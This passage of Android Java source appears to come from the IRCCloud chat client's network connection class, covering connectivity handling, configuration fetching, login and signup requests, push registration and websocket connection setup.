-1;\n long firstEid = -1;\n public JSONObject config = null;\n public boolean notifier;\n public static String file_uri_template;\n public static String pastebin_uri_template;\n public static String avatar_uri_template;\n public static String avatar_redirect_uri_template;\n\n private ObjectMapper mapper = new ObjectMapper();\n\n public static final int EVENT_CONNECTIVITY = 0;\n public static final int EVENT_USERINFO = 1;\n public static final int EVENT_MAKESERVER = 2;\n public static final int EVENT_MAKEBUFFER = 3;\n public static final int EVENT_DELETEBUFFER = 4;\n public static final int EVENT_BUFFERMSG = 5;\n public static final int EVENT_HEARTBEATECHO = 6;\n public static final int EVENT_CHANNELINIT = 7;\n public static final int EVENT_CHANNELTOPIC = 8;\n public static final int EVENT_JOIN = 9;\n public static final int EVENT_PART = 10;\n public static final int EVENT_NICKCHANGE = 11;\n public static final int EVENT_QUIT = 12;\n public static final int EVENT_MEMBERUPDATES = 13;\n public static final int EVENT_USERCHANNELMODE = 14;\n public static final int EVENT_BUFFERARCHIVED = 15;\n public static final int EVENT_BUFFERUNARCHIVED = 16;\n public static final int EVENT_RENAMECONVERSATION = 17;\n public static final int EVENT_STATUSCHANGED = 18;\n public static final int EVENT_CONNECTIONDELETED = 19;\n public static final int EVENT_AWAY = 20;\n public static final int EVENT_SELFBACK = 21;\n public static final int EVENT_KICK = 22;\n public static final int EVENT_CHANNELMODE = 23;\n public static final int EVENT_CHANNELTIMESTAMP = 24;\n public static final int EVENT_SELFDETAILS = 25;\n public static final int EVENT_USERMODE = 26;\n public static final int EVENT_SETIGNORES = 27;\n public static final int EVENT_BADCHANNELKEY = 28;\n public static final int EVENT_OPENBUFFER = 29;\n public static final int EVENT_BANLIST = 31;\n public static final int EVENT_WHOLIST = 32;\n public static final int EVENT_WHOIS = 33;\n public static final int EVENT_LINKCHANNEL = 34;\n public static final int EVENT_LISTRESPONSEFETCHING = 35;\n public static final int EVENT_LISTRESPONSE = 36;\n public static final int EVENT_LISTRESPONSETOOMANY = 37;\n public static final int EVENT_CONNECTIONLAG = 38;\n public static final int EVENT_GLOBALMSG = 39;\n public static final int EVENT_ACCEPTLIST = 40;\n public static final int EVENT_NAMESLIST = 41;\n public static final int EVENT_REORDERCONNECTIONS = 42;\n public static final int EVENT_CHANNELTOPICIS = 43;\n public static final int EVENT_SERVERMAPLIST = 44;\n public static final int EVENT_QUIETLIST = 45;\n public static final int EVENT_BANEXCEPTIONLIST = 46;\n public static final int EVENT_INVITELIST = 47;\n public static final int EVENT_CHANNELQUERY = 48;\n public static final int EVENT_WHOSPECIALRESPONSE = 49;\n public static final int EVENT_MODULESLIST = 50;\n public static final int EVENT_LINKSRESPONSE = 51;\n public static final int EVENT_WHOWAS = 52;\n public static final int EVENT_TRACERESPONSE = 53;\n public static final int EVENT_LOGEXPORTFINISHED = 54;\n public static final int EVENT_DISPLAYNAMECHANGE = 55;\n public static final int EVENT_AVATARCHANGE = 56;\n public static final int EVENT_MESSAGECHANGE = 57;\n public static final int EVENT_WATCHSTATUS = 58;\n public static final int EVENT_TEXTLIST = 59;\n public static final int EVENT_CHANFILTERLIST = 60;\n\n public static final int EVENT_BACKLOG_START = 100;\n public static final int EVENT_BACKLOG_END = 101;\n public static final int EVENT_BACKLOG_FAILED = 102;\n public static final int EVENT_AUTH_FAILED = 103;\n public static final int EVENT_TEMP_UNAVAILABLE = 104;\n public static final int EVENT_PROGRESS = 105;\n public static final int EVENT_ALERT = 106;\n public static final int EVENT_CACHE_START = 107;\n public static final int EVENT_CACHE_END = 108;\n public static final int EVENT_OOB_START = 109;\n public static final int EVENT_OOB_END = 110;\n public static final int EVENT_OOB_FAILED = 111;\n public static final int EVENT_FONT_DOWNLOADED = 112;\n\n public static final int EVENT_DEBUG = 999;\n\n public static String IRCCLOUD_HOST = BuildConfig.HOST;\n public static String IRCCLOUD_PATH = \"/\";\n\n public final Object parserLock = new Object();\n private WifiManager.WifiLock wifiLock = null;\n\n public long clockOffset = 0;\n\n private float numbuffers = 0;\n private float totalbuffers = 0;\n private int currentcount = 0;\n\n public boolean ready = false;\n public String globalMsg = null;\n\n private HashMap<Integer, OOBFetcher> oobTasks = new HashMap<Integer, OOBFetcher>();\n private ArrayList<IRCCloudJSONObject> pendingEdits = new ArrayList<>();\n\n public synchronized static NetworkConnection getInstance() {\n if (instance == null) {\n instance = new NetworkConnection();\n }\n return instance;\n }\n\n BroadcastReceiver connectivityListener = new BroadcastReceiver() {\n\n @Override\n public void onReceive(Context context, Intent intent) {\n try {\n ConnectivityManager cm = (ConnectivityManager) context.getSystemService(Context.CONNECTIVITY_SERVICE);\n NetworkInfo ni = cm.getActiveNetworkInfo();\n\n if (intent.hasExtra(\"networkInfo\") && ((NetworkInfo) intent.getParcelableExtra(\"networkInfo\")).isConnected()) {\n if (intent.getIntExtra(\"networkType\", 0) == ConnectivityManager.TYPE_VPN) {\n if (state == STATE_CONNECTED || state == STATE_CONNECTING) {\n IRCCloudLog.Log(Log.INFO, TAG, \"A VPN has connected, reconnecting websocket\");\n cancel_idle_timer();\n reconnect_timestamp = 0;\n try {\n state = STATE_DISCONNECTING;\n client.disconnect();\n state = STATE_DISCONNECTED;\n notifyHandlers(EVENT_CONNECTIVITY, null);\n } catch (Exception e) {\n }\n }\n }\n }\n\n IRCCloudLog.Log(Log.INFO, TAG, \"Connectivity changed, connected: \" + ((ni != null) ? ni.isConnected() : \"Unknown\") + \", connected or connecting: \" + ((ni != null) ? ni.isConnectedOrConnecting() : \"Unknown\"));\n\n if (ni != null && ni.isConnected() && (state == STATE_DISCONNECTED || state == STATE_DISCONNECTING) && session != null && handlers.size() > 0 && !notifier) {\n IRCCloudLog.Log(Log.INFO, TAG, \"Network became available, reconnecting\");\n if (idleTimerTask != null)\n idleTimerTask.cancel();\n connect();\n } else if (ni == null || !ni.isConnected()) {\n IRCCloudLog.Log(Log.INFO, TAG, \"Network lost, disconnecting\");\n cancel_idle_timer();\n reconnect_timestamp = 0;\n try {\n state = STATE_DISCONNECTING;\n client.disconnect();\n state = STATE_DISCONNECTED;\n notifyHandlers(EVENT_CONNECTIVITY, null);\n } catch (Exception e) {\n }\n }\n } catch (Exception e) {\n printStackTraceToCrashlytics(e);\n IRCCloudLog.LogException(e);\n }\n }\n };\n\n private ConnectivityManager.NetworkCallback connectivityCallback;\n\n private BroadcastReceiver dataSaverListener = new BroadcastReceiver() {\n @TargetApi(24)\n @Override\n public void onReceive(Context context, Intent intent) {\n ConnectivityManager cm = (ConnectivityManager) context.getSystemService(Context.CONNECTIVITY_SERVICE);\n if(Build.VERSION.SDK_INT >= Build.VERSION_CODES.N && cm.isActiveNetworkMetered() && cm.getRestrictBackgroundStatus() == ConnectivityManager.RESTRICT_BACKGROUND_STATUS_ENABLED) {\n IRCCloudLog.Log(Log.INFO, TAG, \"Data Saver was enabled\");\n if(!isVisible() && state == STATE_CONNECTED) {\n notifier = false;\n disconnect();\n }\n } else {\n IRCCloudLog.Log(Log.INFO, TAG, \"Data Saver was disabled\");\n if(isVisible() && state != STATE_CONNECTED)\n connect();\n }\n }\n };\n\n @SuppressWarnings(\"deprecation\")\n public NetworkConnection() {\n session = IRCCloudApplication.getInstance().getApplicationContext().getSharedPreferences(\"prefs\", 0).getString(\"session_key\", \"\");\n String version;\n String network_type = null;\n try {\n version = \"/\" + IRCCloudApplication.getInstance().getPackageManager().getPackageInfo(IRCCloudApplication.getInstance().getApplicationContext().getPackageName(), 0).versionName;\n } catch (Exception e) {\n version = \"\";\n }\n\n try {\n ConnectivityManager cm = (ConnectivityManager) IRCCloudApplication.getInstance().getSystemService(Context.CONNECTIVITY_SERVICE);\n NetworkInfo ni = cm.getActiveNetworkInfo();\n if (ni != null)\n network_type = ni.getTypeName();\n } catch (Exception e) {\n }\n\n connectivityCallback = new ConnectivityManager.NetworkCallback() {\n @Override\n public void onCapabilitiesChanged(Network network, NetworkCapabilities networkCapabilities) {\n super.onCapabilitiesChanged(network, networkCapabilities);\n\n /*if(networkCapabilities.hasTransport(NetworkCapabilities.TRANSPORT_VPN) && networkCapabilities.hasCapability(NetworkCapabilities.NET_CAPABILITY_INTERNET)) {\n if (state == STATE_CONNECTED || state == STATE_CONNECTING) {\n IRCCloudLog.Log(Log.INFO, TAG, \"A VPN has connected, reconnecting websocket\");\n cancel_idle_timer();\n reconnect_timestamp = 0;\n try {\n state = STATE_DISCONNECTING;\n client.disconnect();\n state = STATE_DISCONNECTED;\n notifyHandlers(EVENT_CONNECTIVITY, null);\n } catch (Exception e) {\n }\n }\n }*/\n\n IRCCloudLog.Log(Log.INFO, TAG, \"Connectivity changed, connected: \" + networkCapabilities.hasCapability(NetworkCapabilities.NET_CAPABILITY_INTERNET));\n\n if (networkCapabilities.hasCapability(NetworkCapabilities.NET_CAPABILITY_INTERNET) && (state == STATE_DISCONNECTED || state == STATE_DISCONNECTING) && session != null && handlers.size() > 0 && !notifier) {\n IRCCloudLog.Log(Log.INFO, TAG, \"Network became available, reconnecting\");\n if (idleTimerTask != null)\n idleTimerTask.cancel();\n connect();\n }\n }\n\n @Override\n public void onLost(Network network) {\n super.onLost(network);\n IRCCloudLog.Log(Log.INFO, TAG, \"Network lost, disconnecting\");\n cancel_idle_timer();\n reconnect_timestamp = 0;\n try {\n state = STATE_DISCONNECTING;\n client.disconnect();\n state = STATE_DISCONNECTED;\n notifyHandlers(EVENT_CONNECTIVITY, null);\n } catch (Exception e) {\n }\n }\n };\n\n try {\n config = new JSONObject(PreferenceManager.getDefaultSharedPreferences(IRCCloudApplication.getInstance().getApplicationContext()).getString(\"config\", \"{}\"));\n if(config.has(\"file_uri_template\"))\n file_uri_template = config.getString(\"file_uri_template\");\n else\n file_uri_template = null;\n\n if(config.has(\"pastebin_uri_template\"))\n pastebin_uri_template = config.getString(\"pastebin_uri_template\");\n else\n pastebin_uri_template = null;\n\n if(config.has(\"avatar_uri_template\"))\n avatar_uri_template = config.getString(\"avatar_uri_template\");\n else\n avatar_uri_template = null;\n\n if(config.has(\"avatar_redirect_uri_template\"))\n avatar_redirect_uri_template = config.getString(\"avatar_redirect_uri_template\");\n else\n avatar_redirect_uri_template = null;\n } catch (JSONException e) {\n printStackTraceToCrashlytics(e);\n config = new JSONObject();\n }\n\n String userinfojson = IRCCloudApplication.getInstance().getApplicationContext().getSharedPreferences(\"prefs\", 0).getString(\"userinfo\", null);\n if(userinfojson != null)\n userInfo = new UserInfo(new IRCCloudJSONObject(userinfojson));\n else if(BuildConfig.MOCK_DATA)\n userInfo = new UserInfo();\n\n useragent = \"IRCCloud\" + version + \" (\" + android.os.Build.MODEL + \"; \" + Locale.getDefault().getCountry().toLowerCase() + \"; \"\n + \"Android \" + android.os.Build.VERSION.RELEASE;\n\n WindowManager wm = (WindowManager) IRCCloudApplication.getInstance().getSystemService(Context.WINDOW_SERVICE);\n useragent += \"; \" + wm.getDefaultDisplay().getWidth() + \"x\" + wm.getDefaultDisplay().getHeight();\n\n if (network_type != null)\n useragent += \"; \" + network_type;\n\n useragent += \")\";\n\n IRCCloudLog.Log(Log.INFO, \"IRCCloud\", useragent);\n\n WifiManager wfm = (WifiManager) IRCCloudApplication.getInstance().getApplicationContext().getSystemService(Context.WIFI_SERVICE);\n wifiLock = wfm.createWifiLock(TAG);\n }\n\n public int getState() {\n return state;\n }\n\n public void disconnect() {\n if (client != null) {\n state = STATE_DISCONNECTING;\n client.disconnect();\n } else {\n state = STATE_DISCONNECTED;\n }\n if (idleTimerTask != null)\n idleTimerTask.cancel();\n IRCCloudApplication.getInstance().cancelNotifierTimer();\n try {\n if (wifiLock.isHeld())\n wifiLock.release();\n } catch (RuntimeException e) {\n\n }\n reconnect_timestamp = 0;\n synchronized (oobTasks) {\n for (Integer bid : oobTasks.keySet()) {\n try {\n oobTasks.get(bid).cancel();\n } catch (Exception e) {\n }\n }\n oobTasks.clear();\n }\n for (Buffer b : mBuffers.getBuffers()) {\n if (!b.getScrolledUp())\n mEvents.pruneEvents(b.getBid());\n }\n }\n\n public JSONObject login(String email, String password) {\n try {\n String tokenResponse = fetch(new URL(\"https://\" + IRCCLOUD_HOST + \"/chat/auth-formtoken\"), \"\", null, null, null);\n JSONObject token = new JSONObject(tokenResponse);\n if (token.has(\"token\")) {\n String postdata = \"email=\" + URLEncoder.encode(email, \"UTF-8\") + \"&password=\" + URLEncoder.encode(password, \"UTF-8\") + \"&token=\" + token.getString(\"token\");\n String response = fetch(new URL(\"https://\" + IRCCLOUD_HOST + \"/chat/login\"), postdata, null, token.getString(\"token\"), null);\n if (response.length() < 1) {\n JSONObject o = new JSONObject();\n o.put(\"message\", \"empty_response\");\n return o;\n } else if (response.charAt(0) != '{') {\n JSONObject o = new JSONObject();\n o.put(\"message\", \"invalid_response\");\n return o;\n }\n return new JSONObject(response);\n } else {\n return null;\n }\n } catch (UnknownHostException e) {\n printStackTraceToCrashlytics(e);\n return null;\n } catch (IOException e) {\n printStackTraceToCrashlytics(e);\n return null;\n } catch (JSONException e) {\n printStackTraceToCrashlytics(e);\n JSONObject o = new JSONObject();\n try {\n o.put(\"message\", \"json_error\");\n } catch (JSONException e1) {\n }\n return o;\n } catch (Exception e) {\n printStackTraceToCrashlytics(e);\n }\n return null;\n }\n\n public JSONObject signup(String realname, String email, String password) {\n try {\n String tokenResponse = fetch(new URL(\"https://\" + IRCCLOUD_HOST + \"/chat/auth-formtoken\"), \"\", null, null, null);\n JSONObject token = new JSONObject(tokenResponse);\n if (token.has(\"token\")) {\n String postdata = \"realname=\" + URLEncoder.encode(realname, \"UTF-8\") + \"&email=\" + URLEncoder.encode(email, \"UTF-8\") + \"&password=\" + URLEncoder.encode(password, \"UTF-8\") + \"&token=\" + token.getString(\"token\");\n String response = fetch(new URL(\"https://\" + IRCCLOUD_HOST + \"/chat/signup\"), postdata, null, token.getString(\"token\"), null);\n if (response.length() < 1) {\n JSONObject o = new JSONObject();\n o.put(\"message\", \"empty_response\");\n return o;\n } else if (response.charAt(0) != '{') {\n JSONObject o = new JSONObject();\n o.put(\"message\", \"invalid_response\");\n return o;\n }\n return new JSONObject(response);\n } else {\n return null;\n }\n } catch (UnknownHostException e) {\n printStackTraceToCrashlytics(e);\n return null;\n } catch (IOException e) {\n printStackTraceToCrashlytics(e);\n return null;\n } catch (JSONException e) {\n printStackTraceToCrashlytics(e);\n JSONObject o = new JSONObject();\n try {\n o.put(\"message\", \"json_error\");\n } catch (JSONException e1) {\n }\n return o;\n } catch (Exception e) {\n printStackTraceToCrashlytics(e);\n }\n return null;\n }\n\n public JSONObject request_password(String email) {\n try {\n String tokenResponse = fetch(new URL(\"https://\" + IRCCLOUD_HOST + \"/chat/auth-formtoken\"), \"\", null, null, null);\n JSONObject token = new JSONObject(tokenResponse);\n if (token.has(\"token\")) {\n String postdata = \"email=\" + URLEncoder.encode(email, \"UTF-8\") + \"&token=\" + token.getString(\"token\") + \"&mobile=1\";\n String response = fetch(new URL(\"https://\" + IRCCLOUD_HOST + \"/chat/request-access-link\"), postdata, null, token.getString(\"token\"), null);\n if (response.length() < 1) {\n JSONObject o = new JSONObject();\n o.put(\"message\", \"empty_response\");\n return o;\n } else if (response.charAt(0) != '{') {\n JSONObject o = new JSONObject();\n o.put(\"message\", \"invalid_response\");\n return o;\n }\n return new JSONObject(response);\n } else {\n return null;\n }\n } catch (UnknownHostException e) {\n printStackTraceToCrashlytics(e);\n return null;\n } catch (IOException e) {\n printStackTraceToCrashlytics(e);\n return null;\n } catch (JSONException e) {\n printStackTraceToCrashlytics(e);\n JSONObject o = new JSONObject();\n try {\n o.put(\"message\", \"json_error\");\n } catch (JSONException e1) {\n }\n return o;\n } catch (Exception e) {\n printStackTraceToCrashlytics(e);\n }\n return null;\n }\n\n public JSONObject fetchJSON(String url) throws IOException {\n String response = null;\n try {\n response = fetch(new URL(url), null, session, null, null);\n return new JSONObject(response);\n } catch (Exception e) {\n if(response != null)\n IRCCloudLog.Log(\"Unable to parse JSON: \" + response);\n printStackTraceToCrashlytics(e);\n }\n return null;\n }\n\n public JSONObject fetchJSON(String url, String postdata) throws IOException {\n String response = null;\n try {\n response = fetch(new URL(url), postdata, null, null, null);\n return new JSONObject(response);\n } catch (Exception e) {\n if(response != null)\n IRCCloudLog.Log(\"Unable to parse JSON: \" + response);\n printStackTraceToCrashlytics(e);\n }\n return null;\n }\n\n public JSONObject fetchJSON(String url, HashMap<String, String>headers) throws IOException {\n String response = null;\n try {\n response = fetch(new URL(url), null, null, null, headers);\n return new JSONObject(response);\n } catch (Exception e) {\n if(response != null)\n IRCCloudLog.Log(\"Unable to parse JSON: \" + response);\n printStackTraceToCrashlytics(e);\n }\n return null;\n }\n\n public void fetchConfig(ConfigCallback callback) {\n IRCCloudLog.Log(Log.INFO, TAG, \"Requesting configuration\");\n try {\n new ConfigFetcher(new ConfigCallback() {\n @Override\n public void onConfig(JSONObject o) {\n try {\n if (o != null) {\n config = o;\n SharedPreferences.Editor prefs = PreferenceManager.getDefaultSharedPreferences(IRCCloudApplication.getInstance().getApplicationContext()).edit();\n prefs.putString(\"config\", config.toString());\n prefs.apply();\n\n if (config.has(\"file_uri_template\"))\n file_uri_template = config.getString(\"file_uri_template\");\n else\n file_uri_template = null;\n\n if (config.has(\"pastebin_uri_template\"))\n pastebin_uri_template = config.getString(\"pastebin_uri_template\");\n else\n pastebin_uri_template = null;\n\n if (config.has(\"avatar_uri_template\"))\n avatar_uri_template = config.getString(\"avatar_uri_template\");\n else\n avatar_uri_template = null;\n\n if (config.has(\"avatar_redirect_uri_template\"))\n avatar_redirect_uri_template = config.getString(\"avatar_redirect_uri_template\");\n else\n avatar_redirect_uri_template = null;\n\n if (BuildConfig.ENTERPRISE && !(config.get(\"enterprise\") instanceof JSONObject)) {\n globalMsg = \"Some features, such as push notifications, may not work as expected. Please download the standard IRCCloud app from the <a href=\\\"\" + config.getString(\"android_app\") + \"\\\">Play Store</a>\";\n notifyHandlers(EVENT_GLOBALMSG, null);\n }\n set_pastebin_cookie();\n\n if (config.has(\"api_host\")) {\n set_api_host(config.getString(\"api_host\"));\n }\n }\n if(callback != null)\n callback.onConfig(o);\n } catch (Exception e) {\n printStackTraceToCrashlytics(e);\n }\n }\n }).connect();\n } catch (Exception e) {\n printStackTraceToCrashlytics(e);\n }\n }\n\n public static void set_api_host(String host) {\n if (host.startsWith(\"http://\"))\n host = host.substring(7);\n if (host.startsWith(\"https://\"))\n host = host.substring(8);\n if (host.endsWith(\"/\"))\n host = host.substring(0, host.length() - 1);\n\n SharedPreferences.Editor editor = IRCCloudApplication.getInstance().getApplicationContext().getSharedPreferences(\"prefs\", 0).edit();\n editor.putString(\"host\", host);\n editor.apply();\n NetworkConnection.IRCCLOUD_HOST = host;\n IRCCloudLog.Log(Log.INFO, TAG, \"API host: \" + NetworkConnection.IRCCLOUD_HOST);\n }\n\n public void set_pastebin_cookie() {\n try {\n if (config != null) {\n CookieSyncManager sm = CookieSyncManager.createInstance(IRCCloudApplication.getInstance().getApplicationContext());\n CookieManager cm = CookieManager.getInstance();\n Uri u = Uri.parse(config.getString(\"pastebin_uri_template\"));\n cm.setCookie(u.getScheme() + \"://\" + u.getHost() + \"/\", \"session=\" + session);\n cm.flush();\n sm.sync();\n cm.setAcceptCookie(true);\n }\n } catch (Exception e) {\n }\n }\n\n public JSONObject registerGCM(String regId, String sk) throws IOException {\n String postdata = \"device_id=\" + regId + \"&session=\" + sk;\n try {\n String response = fetch(new URL(\"https://\" + IRCCLOUD_HOST + \"/gcm-register\"), postdata, sk, null, null);\n if(response.length() > 0)\n return new JSONObject(response);\n } catch (Exception e) {\n printStackTraceToCrashlytics(e);\n }\n return null;\n }\n\n public JSONObject unregisterGCM(String regId, String sk) throws IOException {\n String postdata = \"device_id=\" + regId + \"&session=\" + sk;\n try {\n String response = fetch(new URL(\"https://\" + IRCCLOUD_HOST + \"/gcm-unregister\"), postdata, sk, null, null);\n if(response.length() > 0)\n return new JSONObject(response);\n } catch (Exception e) {\n printStackTraceToCrashlytics(e);\n }\n return null;\n }\n\n public JSONObject files(int page) throws IOException {\n try {\n String response = fetch(new URL(\"https://\" + IRCCLOUD_HOST + \"/chat/files?page=\" + page), null, session, null, null);\n if(response.length() > 0)\n return new JSONObject(response);\n } catch (Exception e) {\n printStackTraceToCrashlytics(e);\n }\n return null;\n }\n\n public JsonNode propertiesForFile(String fileID) throws IOException {\n try {\n String response = fetch(new URL(\"https://\" + IRCCLOUD_HOST + \"/file/json/\" + fileID), null, session, null, null);\n if(response.length() > 0)\n return new ObjectMapper().readValue(response, JsonNode.class);\n } catch (Exception e) {\n printStackTraceToCrashlytics(e);\n }\n return null;\n }\n\n public JSONObject pastebins(int page) throws IOException {\n try {\n String response = fetch(new URL(\"https://\" + IRCCLOUD_HOST + \"/chat/pastebins?page=\" + page), null, session, null, null);\n if(response.length() > 0)\n return new JSONObject(response);\n } catch (Exception e) {\n printStackTraceToCrashlytics(e);\n }\n return null;\n }\n\n public JSONObject logExports() throws IOException {\n try {\n String response = fetch(new URL(\"https://\" + IRCCLOUD_HOST + \"/chat/log-exports\"), null, session, null, null);\n if(response.length() > 0)\n return new JSONObject(response);\n } catch (Exception e) {\n printStackTraceToCrashlytics(e);\n }\n return null;\n }\n\n public void logout(final String sk) {\n idleTimer.schedule(new TimerTask() {\n @Override\n public void run() {\n try {\n Log.i(\"IRCCloud\", \"Invalidating session\");\n fetch(new URL(\"https://\" + IRCCLOUD_HOST + \"/chat/logout\"), \"session=\" + sk, sk, null, null);\n } catch (Exception e) {\n printStackTraceToCrashlytics(e);\n }\n }\n }, 50);\n }\n\n public JSONArray networkPresets() throws IOException {\n try {\n String response = fetch(new URL(\"https://www.irccloud.com/static/networks.json\"), null, null, null, null);\n if(response.length() > 0) {\n JSONObject o = new JSONObject(response);\n return o.getJSONArray(\"networks\");\n }\n } catch (Exception e) {\n printStackTraceToCrashlytics(e);\n }\n return null;\n }\n\n @TargetApi(24)\n public void registerForConnectivity() {\n try {\n if(Build.VERSION.SDK_INT >= Build.VERSION_CODES.N) {\n IntentFilter intentFilter = new IntentFilter();\n intentFilter.addAction(ConnectivityManager.ACTION_RESTRICT_BACKGROUND_CHANGED);\n IRCCloudApplication.getInstance().getApplicationContext().registerReceiver(dataSaverListener, intentFilter);\n\n ConnectivityManager cm = (ConnectivityManager) IRCCloudApplication.getInstance().getApplicationContext().getSystemService(Context.CONNECTIVITY_SERVICE);\n cm.registerDefaultNetworkCallback(connectivityCallback);\n } else {\n IntentFilter intentFilter = new IntentFilter();\n intentFilter.addAction(ConnectivityManager.CONNECTIVITY_ACTION);\n IRCCloudApplication.getInstance().getApplicationContext().registerReceiver(connectivityListener, intentFilter);\n }\n } catch (Exception e) {\n printStackTraceToCrashlytics(e);\n }\n }\n\n public void unregisterForConnectivity() {\n try {\n if(Build.VERSION.SDK_INT >= Build.VERSION_CODES.N) {\n ConnectivityManager cm = (ConnectivityManager) IRCCloudApplication.getInstance().getApplicationContext().getSystemService(Context.CONNECTIVITY_SERVICE);\n cm.unregisterNetworkCallback(connectivityCallback);\n } else {\n IRCCloudApplication.getInstance().getApplicationContext().unregisterReceiver(connectivityListener);\n }\n } catch (IllegalArgumentException e) {\n //The broadcast receiver hasn't been registered yet\n }\n try {\n IRCCloudApplication.getInstance().getApplicationContext().unregisterReceiver(dataSaverListener);\n } catch (IllegalArgumentException e) {\n //The broadcast receiver hasn't been registered yet\n }\n }\n\n public void load() {\n /*notifyHandlers(EVENT_CACHE_START, null);\n try {\n String versionName = IRCCloudApplication.getInstance().getPackageManager().getPackageInfo(IRCCloudApplication.getInstance().getApplicationContext().getPackageName(), 0).versionName;\n SharedPreferences prefs = IRCCloudApplication.getInstance().getApplicationContext().getSharedPreferences(\"prefs\", 0);\n if(!versionName.equals(prefs.getString(\"cacheVersion\", \"\"))) {\n Log.w(\"IRCCloud\", \"App version changed, clearing cache\");\n clearOfflineCache();\n }\n } catch (PackageManager.NameNotFoundException e) {\n }\n\n if(PreferenceManager.getDefaultSharedPreferences(IRCCloudApplication.getInstance().getApplicationContext()).getBoolean(\"enable_cache\", true)) {\n mServers.load();\n mBuffers.load();\n mChannels.load();\n if (mServers.count() > 0) {\n String u = IRCCloudApplication.getInstance().getApplicationContext().getSharedPreferences(\"prefs\", 0).getString(\"userinfo\", null);\n if (u != null && u.length() > 0)\n userInfo = new UserInfo(new IRCCloudJSONObject(u));\n highest_eid = IRCCloudApplication.getInstance().getApplicationContext().getSharedPreferences(\"prefs\", 0).getLong(\"highest_eid\", -1);\n streamId = IRCCloudApplication.getInstance().getApplicationContext().getSharedPreferences(\"prefs\", 0).getString(\"streamId\", null);\n ready = true;\n }\n }\n notifyHandlers(EVENT_CACHE_END, null);*/\n }\n\n public void save(int delay) {\n /*if (saveTimerTask != null)\n saveTimerTask.cancel();\n\n saveTimerTask = new TimerTask() {\n @Override\n public void run() {\n synchronized (saveTimer) {\n saveTimerTask = null;\n if (PreferenceManager.getDefaultSharedPreferences(IRCCloudApplication.getInstance().getApplicationContext()).getBoolean(\"enable_cache\", true)) {\n final long start = System.currentTimeMillis();\n Log.i(\"IRCCloud\", \"Saving backlog\");\n final SharedPreferences.Editor editor = IRCCloudApplication.getInstance().getApplicationContext().getSharedPreferences(\"prefs\", 0).edit();\n editor.remove(\"streamId\");\n editor.remove(\"highest_eid\");\n editor.commit();\n\n mUsers.save();\n mEvents.save();\n mChannels.save();\n mBuffers.save();\n mServers.save();\n TransactionManager.getInstance().getSaveQueue().setTransactionListener(new TransactionListener<List<Model>>() {\n @Override\n public void onResultReceived(List<Model> models) {\n Log.i(\"IRCCloud\", \"Saved \" + models.size() + \" objects in \" + (System.currentTimeMillis() - start) + \"ms\");\n if (handlers.size() == 0) {\n editor.putString(\"streamId\", streamId);\n editor.putLong(\"highest_eid\", highest_eid);\n try {\n editor.putString(\"cacheVersion\", IRCCloudApplication.getInstance().getPackageManager().getPackageInfo(IRCCloudApplication.getInstance().getApplicationContext().getPackageName(), 0).versionName);\n } catch (PackageManager.NameNotFoundException e) {\n editor.remove(\"cacheVersion\");\n }\n editor.commit();\n }\n TransactionManager.getInstance().getSaveQueue().setTransactionListener(null);\n }\n\n @Override\n public boolean onReady(BaseTransaction<List<Model>> baseTransaction) {\n return true;\n }\n\n @Override\n public boolean hasResult(BaseTransaction<List<Model>> baseTransaction, List<Model> models) {\n return true;\n }\n });\n TransactionManager.getInstance().getSaveQueue().purgeQueue();\n }\n }\n }\n };\n saveTimer.schedule(saveTimerTask, delay);*/\n }\n\n public void connect() {\n connect(false);\n }\n\n @TargetApi(24)\n public synchronized void connect(boolean ignoreNetworkState) {\n IRCCloudLog.Log(Log.DEBUG, TAG, \"connect()\");\n Context ctx = IRCCloudApplication.getInstance().getApplicationContext();\n session = ctx.getSharedPreferences(\"prefs\", 0).getString(\"session_key\", \"\");\n int limit = 100;\n\n if (session.length() == 0) {\n IRCCloudLog.Log(Log.INFO, TAG, \"Session key not set\");\n state = BuildConfig.MOCK_DATA ? STATE_CONNECTED : STATE_DISCONNECTED;\n notifyHandlers(EVENT_CONNECTIVITY, null);\n return;\n }\n\n ConnectivityManager cm = (ConnectivityManager) ctx.getSystemService(Context.CONNECTIVITY_SERVICE);\n if(cm != null) {\n NetworkInfo ni = cm.getActiveNetworkInfo();\n\n if (!ignoreNetworkState && ni != null && !ni.isConnectedOrConnecting()) {\n IRCCloudLog.Log(Log.INFO, TAG, \"No active network connection\");\n cancel_idle_timer();\n state = STATE_DISCONNECTED;\n reconnect_timestamp = 0;\n notifyHandlers(EVENT_CONNECTIVITY, null);\n return;\n }\n\n if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.N && cm.isActiveNetworkMetered() && cm.getRestrictBackgroundStatus() == ConnectivityManager.RESTRICT_BACKGROUND_STATUS_ENABLED) {\n limit = 50;\n }\n\n if (ni != null && ni.getType() == ConnectivityManager.TYPE_MOBILE && (ni.getSubtype() == TelephonyManager.NETWORK_TYPE_EDGE || ni.getSubtype() == TelephonyManager.NETWORK_TYPE_GPRS || ni.getSubtype() == TelephonyManager.NETWORK_TYPE_CDMA || ni.getSubtype() == TelephonyManager.NETWORK_TYPE_1xRTT)) {\n limit = 25;\n }\n }\n\n if (state == STATE_CONNECTING || state == STATE_CONNECTED) {\n IRCCloudLog.Log(Log.INFO, TAG, \"Ignoring duplicate connect request\");\n return;\n }\n\n state = STATE_CONNECTING;\n\n if (saveTimerTask != null)\n saveTimerTask.cancel();\n saveTimerTask = null;\n\n if (oobTasks.size() > 0) {\n IRCCloudLog.Log(Log.DEBUG, TAG, \"Clearing OOB tasks before connecting\");\n }\n synchronized (oobTasks) {\n\n for (Integer bid : oobTasks.keySet()) {\n try {\n oobTasks.get(bid).cancel();\n } catch (Exception e) {\n printStackTraceToCrashlytics(e);\n }\n }\n oobTasks.clear();\n }\n\n reconnect_timestamp = 0;\n idle_interval = 0;\n accrued = 0;\n resultCallbacks.clear();\n notifyHandlers(EVENT_CONNECTIVITY, null);\n\n fetchConfig(new ConnectCallback(limit));\n }\n\n public interface ConfigCallback {\n void onConfig(JSONObject config);\n }\n\n private class ConfigFetcher extends HTTPFetcher {\n ConfigCallback callback;\n JSONObject result = null;\n\n public ConfigFetcher(ConfigCallback callback) throws MalformedURLException {\n super(new URL(\"https://\" + IRCCLOUD_HOST + \"/config\"));\n this.callback = callback;\n }\n\n protected void onFetchComplete() {\n if(!isCancelled && callback != null)\n callback.onConfig(result);\n }\n\n protected void onFetchFailed() {\n if(!isCancelled && callback != null)\n callback.onConfig(result);\n }\n\n protected void onStreamConnected(InputStream is) throws Exception {\n if (isCancelled)\n return;\n\n ByteArrayOutputStream os = new ByteArrayOutputStream();\n byte[] buffer = new byte[8192];\n int len;\n while ((len = is.read(buffer)) != -1) {\n os.write(buffer, 